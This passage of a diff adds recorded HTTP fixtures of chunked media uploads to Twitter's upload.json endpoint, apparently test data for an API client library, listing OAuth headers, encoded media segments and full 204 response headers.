"x-tsa-request-body-time": "95", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"K0VtQ5SH2exY0WtSVz%2BaZ4zgl%2FU%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=lrH3v0DPfVdMOPMLGsE2%2FCYtZt%2FQjaektMBPKBsGUTHBnVdEz3OyN8xmBgk2tOVJOTbZguTRWbifU0At1%2BhmqVHdekG%2F6tjTfCVfFfr25WU8LgafsM1Ovw46zw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Z%2BhbH4bod6Q%2BmWix7ktYJfRk74uiy1qvp36vUtPyVYmvJ7%2F5smX2uXZ7I0ROP%2Fz1JQ6igX7ov6%2FVrg4fcogKfuvRPEvgh3S7ivpFn%2FV7usTVv1cCvBHkOU5a%2FPVNEPPX%2F4J73u94P1Z%2BeqESD%2F%2FNzUVetS3ev5RRbkI2%2Fffko%2Fr9FYp%2BqvJDx1X%2BvV6sfvJe7k9TJ%2BuOrd39%2Fq%2FdF%2F%2FZEkt%2BG9J6%2BXE6XwR8uIJyvDlaRBAfFZd%2BS6vus2nvosv1apC167XvJk9aq%2F0R5PWv1qT16oAAACw0GaCYJqBX%2BhMbV8Xc3q%2F6vJc11yV6p0TQm%2FXu4%3D&media_id=1254206535166763008&segment_index=5" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:57 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:57 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_tSNJ2BX9jZT8jZQB84ROfA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:57 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111730493788; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:57 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "2845491e1c0bad46dde60b8f2ad21e38", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19947", + "x-rate-limit-reset": "1587864356", + "x-response-time": "38", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00df20bd0058afe5", + "x-tsa-request-body-time": "103", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"9zgT%2Bx3Lr2il7LK6kPQJLklIRAY%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=rn9ffrVXV63X9WRN%2Fq6rVyhS369JVQjrlu9W7K%2B785F%2BPf69aq6vtTJPfav1K5XrX69Xq92tSevRF%2FnqYYu%2FxHSt0TdrnVWsU3q8nrSrurRHaEP%2BjyltaiZ0VkVauS%2BrV6mT5v1Y%2FN0Rkvy7Tf6t%2BuUTasVxU9rcq8QveO8Ut9l82PyEYmKZFJeIv1lXq9jvFfLFcvzd479%2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oFLwS%2BiPXorV67VcX73tr1d333JYI%2FNXN%2Bev2j6%2BW%2B%2FwRQ0hOP6l93v%2Bvd36uXoT4rdrV%2BYQS%2Brn9HwiN57sVuuT1RdfrLFLXrLtZVf6NURd3ZfJ%2FWp%2FWsU7odLq7V8V1ffftRG3EbrX61Xr79WuAAAB50GaDYNqBX3XoTl%2BsV8y93iOa4v16vXpLVhnqiqGfqJ5f9388%2FEV66lub1TNXFWrV6x69WO1lXL%2BsXxMV61UuOW%2FUux9K8tq%2Ffd8T3dE1desruIuhS16vQrFb9aq5JVZ3Pzfq9etRPs1UkiCuf0d7tar1qslcqFf65d3zfN%2BryerH6xd%2FSvXEfrURcb65V6uH69%2BsHfn%2FklZtsf1Too7lqtZdrr3WpKq9erVWq4hf%2BX%2Bsv1KD9cv3bbXX5eNNGrk4jtZpvVqi5xyyqq6EL2td1693Nf5aJgKu7te7UqTSq54%2F71fqsq9Wv1ijbU6d369frL9e%2FV71Xu16W577nuvJjQSdfyW0s86xX692vV691L0Zfd%2BrE3rhfq0vrXa5fr361drFVzesprr1lV14IdaWv3rJBevfqwNff6vLf5rJd3Nf7KluW68L82UDh%2BIM19CLsqH5yKnLT7vu8Rv69XJbV5r%2FWKX3pkJWX0SCS6J5f8v16tGeup%2FWp%2FRWMn5%2FkLl8t99q1WrVa9EecQsfiWvyecq%2FjiDdgk5c9V1ffdeSGF%2FD9e5day35terXLLaLrtWku09gk42v5Xq5Vr0b6I04pFEP31aVu7u5%2FXH%2B5P%2B663%2Bvfr3y%2Fr36IdJNZhSz51k9v%2BJubLq54ABKpn%2BTCZImKoyJE4iszrgR4l4mepvoMvEPmnzWHhkk5727Poo1sxGPNR1gbQKBCZ9IjJNmv8I%2BpC3dhrt2TWjcvsb0UZoVAA8oT1aEqnIu8Hg1De%2BpvmeF7ESx4G46hMeLx1uK8isCYG8uahka9zFUaA%3D&media_id=1254206535166763008&segment_index=6" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:57 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:57 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_ldBTpjgQQFLXxpCDfCzkMg==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:57 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111774319906; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:57 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "48ed625ed57b85182e807dbea12e4adf", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19946", + "x-rate-limit-reset": "1587864356", + "x-response-time": "32", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00f5e18a003a9e26", + "x-tsa-request-body-time": "64", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"UKX0%2Bt4s7ucajEBXS0etQVngOuQ%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=gNiS0WVb9IgxoDmQGpCuuonUVCmrM6%2Bi0TjX8OFuc%2FzjqVrE4ViqmQRASRDy%2Fj9Ebj%2Fzx5eHdHKfh2ku1TFdwvrX24MrS4W37ae6pcs2%2BIuNBW4mfKBkG2J0wnABINSQJBQJCQLBgLBQLEgKDYKhQShQJFEJhEJhIInfPGq7v9vxjNzOsu%2BfJlXKG%2BM1SJ5HibvG%2BWvWXXzwZv27ugL%2BkWKo4Hdt8Lkk7bHviBooD8TiWPYgBNSDa%2FZ9Eobbi1yABovHleqmQTZNQ9W%2Bc%2FcMCFR9hlzKJL6gczffP7VH9Dj5YlLl2zaPH%2F%2BW7Fnf9okJe92FMwXU9eO%2BGVC%2F8CkedJij8bgzEJzI3zhUsrZ04gcBJhSQRBQbBgKEYKBcLBUKCYKEIRhIShQShFDK1WT8%2B1VWGiri6zUyl5dXUq66HIuo6%2FG3PidPuwZ%2FGuO606rUXjDnPp%2FU9T%2Bv6qgbhp75%2BTetlwA631X9VCpBRq7fJ4xmHnlmPl%2FYpoX7JH%2BwyR9Bg1Pm6nhelJHeVWz9qrnWYOHDuK01B3FORcv6jinqW%2BJTLwLorWz3ToC8H3lnV5FcIy1IKfugX4U3JxlIrgCcoiGpS3UDgAEsFJREFQkJQuGAq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V%2FrUIerXfyebQp%2B79altWQl6NLu8v7R4vnrEfi6Sbx3lnpy3N6wfrl%2Brn%2F6u%2BX5e6v4v41ehHydUZy%2F9a1d933emrzckL88lcvr0twrDXJieoP%2Bb1eJ829NWWnT%2FWsn9tfF9o9VTfaEOlFPO%2FeTySMfauV56%2FH76eru0JY7MbbTGz%2For%2Fr1arX61EejZd1fdXXojuyjW9do0XcQ%2B9SCgmL%2F4aOCgdwsqJNGdgwgapG%2FQRerjL7m9e9%2F0XKie8vXXoZqy%2B760th%2FIIJEt%2F0E6q69XKtW6Kv11fq8nrF%2BGcl6%2Bc0e1%2FrURy%2BWuV%2BtSQAEiFJQoEgoEgoFQsJQsRAqGQ0FQoEguFBOEgqFAmEQqIUvE8%2BOPnxqVUqTLudd5eea51PGmkqHQc%2BO%2Fnyfvvzt56Novr09J11svqdU%2BJfXtHY%2FuL1e0vo%2FlXTzMwQ%2BIV6Of6vOrrKCI8umb4%2FQQQx61rQHjnLU4tTq%2BqemgyQcIivcUN2WLzq%2F%2Fzud7AN7bOc7JAD47jqcLxcdcgHpz4jw%2FLJNChT5xHddxuWTUnHD3iEXAzIP1vECRuTp0A4ABIhSQZBQKhYqBYMBYKhkMBURBUKCgJBUKBUJhULBUQnHcrPl7cysnHfxmfXvV55zd3zly4ur0OKcj1t%2FOiuN%2Fn65vJUOiznI3NPsL4%2Fm2DWjBuukd8eVr4no%3D&media_id=1254206535166763008&segment_index=7" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:58 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:58 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_zbsqJTPufqcUeLFfOaptlQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:58 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111821321190; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:58 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "16f94ee08dd5ae5a6fb984f7430bb598", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19945", + "x-rate-limit-reset": "1587864356", + "x-response-time": "35", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "009b24530090c340", + "x-tsa-request-body-time": "96", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"TX0HvAttnyzrHY%2BkF6qYAc5Bxlw%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=h4Q7PBkOg6O71%2FVqOgfRa17vA5vtVaDj31F%2FS9VcYnJCeAPQuxnSglhs7k8L9yKyd%2FFMzx8fjuRUCX43aprLg6IL%2F2%2FVvdxzGC1wYgTBal%2FeIdV8LXwvwlXqPQBxkKJWUkTXgveZqss%2FA6sMSeAKr3cUq22AcAEoFJQoJQoJhoFiuKQqIgqFAqIQkJQuFSCdz52nfz7U5urePrM%2Bu1TrtnnvK1wqR0HLutscOe8Us389HgPLWXlx63OstkmVlHZadm1HjQVr%2F%2F%2F6PobHdw%2BvGPVfLpLJzue%2FxL3N7sVHPGR2L92i8M49We%2FJnsOI8%2BBjg%2B8J4NeztdA4wEuwLlKEgrpF%2FHx8SbrXFzzJyTD%2BOgmN3ycL7yuS%2FiSPOQ4SBCgJYeVIGIdixRkjcjAEGf%2BQDgEoFJRIEwkFBMNAsRQyJwoEguFBKEwqEwqIwqMTueGvD8%2B071tL8eTz3eNK3xnNa4SVOA6%2B9wH6z%2Bdh%2F10%2Bvwk4Hvv1JZl8qB%2BsuuyRjo58XLwaiv0D8yiXEzHrRW5fUX9kPse6rMhQ%2FWL63ajzrWkvhv2P17VyTC%2BIceEcEFdL3sWJXQ4usbdmxQiQ8d7%2F%2F8JV9reZODuLyg7ne5VDlChznr6R3AboxkRwUHJGKEFEZJkkpiE5i0yqzADgASQUkCoiEgoCwUEwUCwlDQZCgVCQVEgSCgVEgTEQUCoXCJnvpWt%2FP6%2B%2BL507%2BLzz3rmr1txnNauVdXocq6zn7%2FTt9Zj7%2FjJt3Nv4fzsN9k%2FGy%2BXZRYXOi%2BzzDxDdq%2F1mrLPWy74OvwnsGN3xx148iO5JxDpir6GHO2nV5B7%2BfHXWhdqOMXNcDha5qyJxuNnpybP2W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p4e8j%2FT%2Bl4k%2Fnc0N7qofU42Bc%2FCua%2F6c3KVoId8gXIiJhyiDXPH%2FTCf1D2vYY%2Bz1r28rrymYFdh3g1c98LnLCMXilvp79eve%2BT4sLit7l9t2m%2FFeo%2BYlBABbRQ1wvaw0AQvDnQWZx1dFLB0Ys6zmP12QnF0Tt9impKKy%2FKepakXLKflsA4AAACaVBmhYFigV1aFsX61XS10Z0%2Fff%2FS9Kuu%2B%2B7qWNl%2F71SInqx%2BrFer%2B6pOjqd%2Fayr1q%2FXr9Wx3Ld16sc%3D&media_id=1254206535166763008&segment_index=8" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:58 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:58 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_FelJyAlU56dp0V7GtBRVeA==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:58 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111869441376; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:58 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "cd7c339ccf2dcd883bf193cf30b0dad2", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19944", + "x-rate-limit-reset": "1587864356", + "x-response-time": "30", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "002a6a06000236c5", + "x-tsa-request-body-time": "95", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"IXMSCyGS6DMDMyQmy0M4YAgrNr4%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=axfeT3%2F%2B6icn563VdQqhT8StdrKrueief%2F2hbVayrier9a77Xu%2FpXr1fpe1epHWu1caJpif2cy%2BzJCnifNPg%2BVIHkVQg1%2FpPfFfyffniekvKRpo%2BdlEWz6tCW%2FWsUt3ilFbFbk5bonpe6u6v1fvu1l0hTjuCQ%2BEexb8NfDYIYmSfcfQlrtEa4o%2F9Zd9rX6vNfeIWr6WvVyvV6tWP1lJCDIZLvrRe%2FQt%2B7gxqNV3dWvdX6tXrF3Xr1%2Bpk%2FXKf%2F1YvaGBCckCwrYTBH5cdJB7WmCrSeaMU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"2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:59 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:59 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_FKN6UNo2azwUZ7xsIpM3Mw==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:59 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111917305368; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:59 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "be6cc1c217b6c183817310b2812dbb0a", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19943", + "x-rate-limit-reset": "1587864356", + "x-response-time": "31", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "00bf3b38007b18c3", + "x-tsa-request-body-time": "97", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"xZbNPBG2NUIdTAml7fKlcdv1v1I%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=hQZBMkeyRflrfqmQfzKZnF3lgu0GW1SpAMgO3TRLL4VfZAYBTpMWB%2BHebIj2QleGw2PwqepJzLkeWqen324rQsNobXRfy8vVwk89%2FEyjl9%2BtS1drF6qnb83jK2DE%2FjhHe8QsFggpEr9QcHmij0Nm9sOcHv1AudgMeyfX1bEM9qKgmfc3oI5KVtS%2BvR1q4udTCM7xDl45UN7m%2BBKLzebslDeletBV2X87K0t5f0%2FD8eKyLAGjNT6UKepmjXJ%2BFjXJ3drwf0%2FtBjloWmD3g74yGK%2Fie9RpI0QbVLqDtTP6WEI0vhp0nk1rQqI%2Bz5%2FTEy4OsuDVCRjA1utP8KUklMrmC3FdCvFc9oTqrnuvVsJdei9S71aDhklGREkJsgrwJ945y%2BXyd2g53RO%2F0mjDqg4XviOouMLfk93u%2FsExzEQ%2FPr1pFw965fX1Cph3SBdf5f6Pi%2BWr779wprVRDXFkoEOdaLRgv0CH2iWX%2BvBbxLBA7vMYbHlZ%2Bvjnsy%2BwgJ86TlwQcfhl5EaYSZyDNWMNX%2FmOk5PNbvBNFQbBj%2FFQSvD9tS4Nzrk9H67W3uvd161%2BtelWq1cHusG0F4WKTVZfkRoUGwSEEDhcEg8tmRVJ9vsj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69H6b%2Fk%2FVpLr16uJRe3gcgVgUAgOFcVvdJxR%2FAsIEl30qvBaJBEFwUCHiu3bMwlUvhoM4bClAtE5PANF0ARBC2IQOgIA%2BfavLmD5yD72%2BGuVj9GQkUbo0v2iwd9ir4rpWqfBJvbIX6s9wUEmY9z%2Fvy8PrHK5fkKNl0ufn0vghp52E2l5remRnTNjKGtFar%2FXv179ekwJYW1gEJAkAgBiLqLqqkz5gyCUiqqrX3jRWsGocDhATmcV4rFHftYkLhcUFOLi58EuM0L53WJHD3OOvPamAW%2BCswJZYAMHT4xx0G73TQkbJd5AF6%2BQXJXuvKRHjvl4VPjZp7s36Ngg2Q2%2Fr7%2FVuw4SrVfRGYq%2FBLBHaQ%2Bk7%2Bw072H4Uiykwwy8kN7nYp4ZMRWUHh8%2BXEn32%2FDNUXbbpvGFfSQMmVVviJ4ZYbTXwrxloRss7r%2Fa%2BkGF1%2Fr5vDf4jFL6aLF%2BrV1UavVzVfwh50LELVdV4JV485COK3e%2FBiNCk%3D&media_id=1254206535166763008&segment_index=10" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, pre-check=0, post-check=0", + "content-security-policy": "default-src 'self'; connect-src 'self'; font-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; frame-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; img-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com data:; media-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; object-src 'none'; script-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; style-src 'self' https:\/\/*.twimg.com https:\/\/twitter.com https:\/\/ton.twitter.com; report-uri https:\/\/twitter.com\/i\/csp_report?a=OBZG6ZTJNRSWE2LSMQ%3D%3D%3D%3D%3D%3D&ro=false;", + "content-type": "text\/html;charset=utf-8", + "date": "Sun, 26 Apr 2020 00:31:59 GMT", + "expires": "Tue, 31 Mar 1981 05:00:00 GMT", + "last-modified": "Sun, 26 Apr 2020 00:31:59 GMT", + "pragma": "no-cache", + "server": "tsa_b", + "set-cookie": "personalization_id=\"v1_T6e9\/VYEW96rnCdyNbk7YQ==\"; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:59 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None, lang=en; Path=\/, guest_id=v1%3A158786111962776287; Max-Age=63072000; Expires=Tue, 26 Apr 2022 00:31:59 GMT; Path=\/; Domain=.twitter.com; Secure; SameSite=None", + "status": "204 No Content", + "strict-transport-security": "max-age=631138519", + "vary": "Origin", + "x-access-level": "read-write-directmessages", + "x-connection-hash": "0187010dd5d3df9e9bc03ee15bc465e2", + "x-frame-options": "SAMEORIGIN", + "x-mediaid": "1254206535166763008", + "x-rate-limit-limit": "20000", + "x-rate-limit-remaining": "19942", + "x-rate-limit-reset": "1587864356", + "x-response-time": "31", + "x-segmentcount": "0", + "x-totalbytes": "0", + "x-transaction": "0099143e00f947ca", + "x-tsa-request-body-time": "63", + "x-twitter-response-tags": "BouncerCompliant", + "x-xss-protection": "1; mode=block" + } + } +},{ + "request": { + "method": "POST", + "url": "https:\/\/upload.twitter.com\/1.1\/media\/upload.json", + "headers": { + "Host": "upload.twitter.com", + "Accept": "application\/json", + "Authorization": "OAuth oauth_version=\"1.0\", oauth_nonce=\"2b67ebbeace76543f356ba8bbd59abde\", oauth_timestamp=\"1587861062\", oauth_consumer_key=\"awJfND4zFGapGOFKfdjg\", oauth_token=\"93915746-KjE3c27dCt8awONxuUAaJ00yishXXwcH5CdLBnO1x\", oauth_signature_method=\"HMAC-SHA1\", oauth_signature=\"IktNHEgIFCryrZKzCbTh4Ol%2BKiE%3D\"", + "Expect": null + }, + "body": "command=APPEND&media_data=FYo3uK%2Br9xWRf4YgXWycYqms9x3LD4%2Fc%2FvsEZXfI1XXirxRisHvljLy3eEwQ5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%2B9P2JWjhm80utCwy0pepbQ3bbIz1MOqtIwLfDUDgAEiFJA%3D&media_id=1254206535166763008&segment_index=11" + }, + "response": { + "status": { + "http_version": "2", + "code": "204", + "message": "" + }, + "headers": { + "cache-control": "no-cache, no-store, must-revalidate, 